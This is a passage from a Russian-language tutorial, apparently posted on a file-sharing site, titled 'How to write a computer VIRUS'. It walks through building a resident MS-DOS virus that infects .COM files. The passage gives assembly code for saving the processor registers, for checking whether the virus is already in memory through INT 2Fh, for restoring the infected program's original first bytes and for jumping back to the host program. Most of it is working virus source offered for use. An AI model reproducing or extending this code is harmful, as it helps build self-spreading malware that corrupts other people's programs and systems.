Добавил:
Upload Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Как написать компьютерный ВИРУС.doc
Скачиваний:
4
Добавлен:
30.10.2018
Размер:
1.16 Mб
Скачать

2.6 Сохраняем регистры процессора

В самом начале работы резидентная программа обяза-

на сохранить значения регистров процессора, кото-

рые были переданы ей прерванной программой, а при

завершении работы - восстановить эти значения .Ес-

ли этого не сделать,прерванная программа просто не

сможет нормально выполняться дальше,что приведет к

сбою вычислительного процесса . Поэтому сейчас мы

сохраним все регистры, используемые вирусом,в сте-

ке :

pushf ;Сохраним в сте-

push ax ;ке регистры ...

push bx

push cx

push dx

push si

push di

push bp

push ds

push es

jmp cs:infect ;Перейти к зара-

;жению файлов

Заметим, что значения регистров записываются уже в

область " newstack ", а не в стек прерванной прог-

раммы .Значения SS и SP сохраняются в переменных :

" ss_save " и " sp_save ", и поэтому в стек не за-

носятся .Команда " jmp cs:infect " также относится

к резидентной секции и передает управление "зараз-

ной" части вирусного кода .

2.7 Создаем секцию инициализации

А теперь пора заняться изготовлением секции иници-

ализации нашей программы .Поскольку эта секция ис-

полняется при запуске зараженного файла, выполним

коррекцию регистра DS ( см. гл. 1, 1.6 ) :

push_len equ $-vir - 2

mov ax,ds ;Корректируем DS

;для нерезидент-

;ной работы ...

db 05h ;Код команды

add_to_ds: dw 0 ;" ADD AX,00h "

mov ds,ax

Константа " push_len " содержит смещение от начала

вируса до начала секции инициализации . Именно это

число записывается за меткой " vir " (см. п. 2.5).

Далее следует проверить наличие вируса в памяти

(см. п. 2.3), поэтому :

mov ax,0f000h ;Проверим, есть

mov bx,1997h ;вирус в памяти,

int 2fh ;или еще нет ...

jc fresh_bytes

cmp al,0ffh

jne free_mem ;Нет -

;устанавливаем

Для проверки используется так называемое мульти-

плексное прерывание MS DOS, специально предназна-

ченное для использования в резидентных программах.

В регистрах AX и BX мы поместим код, на который

реагирует вирусный обработчик этого прерывания, и

выполним команду " INT 2Fh " .Если вирус был уста-

новлен в памяти,его обработчик проанализирует зна-

чения AX и BX .И если они равны " 0f000h " и " 19-

97h ", вернет в AL число 0ffh, которое и рассчиты-

вает получить секция инициализации .

Если вирусный код уже инсталлирован, необходимо:

восстановить в памяти компьютера исходные три бай-

та зараженной программы (см. п. 2.3) :

fresh_bytes: ;Восстанавливаем

mov al,old_bytes ;первые три бай-

;та зараженной

mov cs:[100h],al ;программы ...

mov al,old_bytes+1

mov cs:[101h],al

mov al,old_bytes+2

mov cs:[102h],al

Восстановить значения сегментных регистров:

mov ax,cs ;Восстанавливаем

;сегментные

mov es,ax ;регистры ...

mov start_cs,ax

mov ds,ax

И выполнить переход на начало этой программы :

jmp cl_conv_1 ;Передаем управ-

cl_conv_1: db 0eah ;ление заражен-

dw 100h ;ной программе

start_cs dw 0

Здесь команда " jmp cl_conv_1 " очищает очередь

процессора ( см. гл. 1, п. 1.7 ) . Без нее наш ви-

рус на некоторых процессорах работал бы некоррек-

тно .

Если же вируса в памяти еще нет, нужно установить

его в память .Эту работу выполняют команды, запи-

санные за меткой " free_mem " .